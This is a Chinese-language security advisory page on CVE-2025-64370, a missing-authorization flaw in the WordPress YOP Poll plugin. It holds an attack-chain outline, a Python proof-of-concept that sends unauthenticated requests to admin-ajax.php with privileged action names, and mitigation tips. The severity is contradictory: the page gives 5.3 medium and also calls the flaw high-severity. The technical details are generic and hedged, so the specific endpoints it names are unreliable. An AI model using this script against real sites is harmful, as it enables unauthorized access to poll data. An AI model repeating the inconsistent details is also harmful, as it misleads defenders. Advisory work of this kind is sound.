IPBUF安全漏洞报告
English
CVE-2025-64370 CVSS 5.3 中危

CVE-2025-64370 WordPress YOP Poll插件缺失授权漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-64370
漏洞类型
缺失授权/访问控制
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
YOP Poll (WordPress插件)

相关标签

缺失授权访问控制WordPress插件YOP PollCVE-2025-64370中危漏洞Broken Access Control

漏洞概述

CVE-2025-64370是WordPress插件YOP Poll中的一个高危安全漏洞,属于缺失授权(Missing Authorization)类型。该漏洞存在于YOP Poll插件的访问控制机制中,由于插件对某些敏感功能的访问权限验证不足,导致未经授权的用户可以访问本应需要更高权限才能使用的功能。攻击者无需任何认证即可利用此漏洞,通过构造特定的HTTP请求访问管理功能,可能导致敏感数据泄露或配置被恶意修改。该漏洞影响YOP Poll插件6.5.38及之前的所有版本,建议用户尽快升级到最新版本以修复此安全问题。

技术细节

YOP Poll插件在处理用户请求时存在访问控制缺陷。插件的某些管理端点(如AJAX处理函数或前端投票功能)未正确验证请求者的权限级别。具体表现为:1) 插件的API端点缺少权限检查装饰器或函数验证;2) 某些需要管理员权限的操作(如 poll 配置修改、结果查看、投票数据导出等)可以被低权限用户或匿名用户触发;3) 插件依赖WordPress的某些非特权函数进行访问控制,但这些函数在特定场景下可被绕过。攻击者可通过发送带有特定参数的POST/GET请求到插件的AJAX处理脚本(如admin-ajax.php),配合构造的参数值绕过权限检查,执行未授权操作。CVSS向量显示该漏洞的网络可达性(AV:N)和低复杂度(AC:L)使其易于被远程利用。

攻击链分析

STEP 1
1
信息收集:攻击者识别目标网站使用的WordPress版本和YOP Poll插件版本
STEP 2
2
探测端点:使用自动化工具扫描插件的AJAX端点(如admin-ajax.php)
STEP 3
3
构造请求:构造带有特定action参数(如yop_poll_export_results)的HTTP请求
STEP 4
4
绕过验证:利用插件缺失的权限检查,直接访问管理功能
STEP 5
5
数据窃取:获取投票结果、统计数据或配置信息
STEP 6
6
持久化控制:修改投票配置或注入恶意内容

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64370 PoC - YOP Poll Missing Authorization # Description: Unauthenticated access to privileged poll management functions import requests import sys TARGET_URL = "http://target-site.com/wp-admin/admin-ajax.php" def check_vulnerability(): """ Check if YOP Poll plugin is vulnerable to CVE-2025-64370 Tests for missing authorization on admin-ajax.php endpoints """ # Test endpoints that should require authentication test_endpoints = [ { "action": "yop_poll_export_results", "params": {"poll_id": 1} }, { "action": "yop_poll_get_poll", "params": {"poll_id": 1} }, { "action": "yop_poll_get_results", "params": {"poll_id": 1} } ] print("[*] Testing YOP Poll plugin for CVE-2025-64370") print(f"[*] Target: {TARGET_URL}\n") for endpoint in test_endpoints: try: # Send unauthenticated request response = requests.post( TARGET_URL, data={ "action": endpoint["action"], **endpoint["params"] }, timeout=10 ) # Check if response indicates successful unauthorized access if response.status_code == 200: # Check for data exposure in response if "success" in response.text or "data" in response.text: print(f"[+] VULNERABLE: {endpoint['action']} - Unauthorized access possible") print(f" Response preview: {response.text[:200]}...") else: print(f"[-] Protected: {endpoint['action']}") else: print(f"[-] Protected: {endpoint['action']} (Status: {response.status_code})") except requests.RequestException as e: print(f"[!] Error testing {endpoint['action']}: {e}") print("\n[*] Scan complete. If vulnerabilities found, update YOP Poll to latest version.") if __name__ == "__main__": check_vulnerability()

影响范围

YOP Poll <= 6.5.38

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1) 限制非管理员用户对/wp-admin/目录的访问;2) 使用Security Headers保护网站;3) 监控日志中的异常admin-ajax.php请求;4) 考虑暂时禁用YOP Poll插件,待官方发布安全更新后再启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表